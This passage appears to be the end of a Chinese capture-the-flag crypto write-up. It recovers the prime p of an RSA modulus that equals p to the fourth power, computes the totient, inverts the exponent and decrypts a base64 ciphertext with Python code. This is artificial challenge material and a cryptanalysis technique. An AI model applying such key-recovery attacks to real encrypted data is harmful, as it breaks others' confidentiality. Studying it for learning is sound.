step = int(log2(2**rbit - left)) - 8
while True:
    step = step - 1
    for i in range(left, 2**rbit+1, 2 ** step):
        if i ** r == target:
            print(i, 'solve')
            exit()
        if i ** r > target:
            left = i - 2 ** step
            print(i)
            break
    else:
        print('noooooo')
        break

得到

p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4

计算 φ(p^k)=(p-1)p^(k-1)
求逆元, 解码 done.

import gmpy2
from Crypto.Util.number import *
p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4
e = 58134567416061346246424950552806959952164141873988197038339318172373514096258823300468791726051378264715940131129676561677588167620420173326653609778206847514019727947838555201787320799426605222230914672691109516799571428125187628867529996213312357571123877040878478311539048041218856094075106182505973331343540958942283689866478426396304208219428741602335233702611371265705949787097256178588070830596507292566654989658768800621743910199053418976671932555647943277486556407963532026611905155927444039372549162858720397597240249353233285982136361681173207583516599418613398071006829129512801831381836656333723750840780538831405624097443916290334296178873601780814920445215584052641885068719189673672829046322594471259980936592601952663772403134088200800288081609498310963150240614179242069838645027877593821748402909503021034768609296854733774416318828225610461884703369969948788082261611019699410587591866516317251057371710851269512597271573573054094547368524415495010346641070440768673619729280827372954003276250541274122907588219152496998450489865181536173702554116251973661212376735405818115479880334020160352217975358655472929210184877839964775337545502851880977049299029101466287659419446724781305689536816523774995178046989696610897508786776845460908137698543091418571263630383061605011820139755322231913029643701770497299157169690586232187419462594477116374977216427311975598620616618808494138669546120288334682865354702356192972496556372279363023366842805886601834278434406709218165445335977049796015123909789363819484954615665668979
n = 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721L
d = gmpy2.invert(e, p**3 *(p-1))
print d
enc = '''YXmuOsaD1W4poLAG2wPrJ/nYZCkeOh2igCYKnZA6ecCeJadT6B3ZVTciPN6LJ8AcAsRXNnkC6+9P
NJPhmosSG5UGGbpIcg2JaZ1iA8Sm3fGiFacGvQsJOqqIWb01rjaQ3rDBKB331rrNo9QNOfMnjKr0
ejGG+dNObTtvnskICbYbNnSxMxLQF57H5JnWZ3LbbKQ493vmZzwvC6iH8blNPAp3dBlVzDqIAmxm
Ubk0OzFjPoHphD1oxHdzXyQNW+sLxVldrf9xcItq92jN5sqBYrG8wADIqY1/sqhTMZvkIYFMHqoM
QuiRSnVrCF2h2RtGDEayLo0evgXI/0W3YveyKCHViOnG6wypcBFm91ZWdjp3fVW/4DyxW6xu9hg/
NlXyRP6pT/OyQpcyTqKRuiXJLWgFUJI/8TRgyAjBLLgSd3U0N3VM8kewXw5j+fMUTCW9/Gy4iP8m
52Zabx/vEKdwdGZ0QyvgvAWGUFZ96EK0g1BM/LU9Tuu2R+VKcCSCprg283x6NfYxmU26KlQE6Zrr
jLmbCOe0327uaW9aDbLxZytPYIE5ZkzhSsD9JpQBKL30dCy3UKDbcuNgB6SrDddrbIuUd0/kLxuw
h6kTqNbC4NDrOT4WAuP4se8GGOK8Wz0dL6rE6FkzMnI4Qg501MTSNQZ4Bp7cNf6H9lTa/4DNOl0='''.decode('base64')
m = bytes_to_long(enc)
dec = pow(m, d, n)
print long_to_bytes(dec)
5 条评论
某人
表情
可输入 255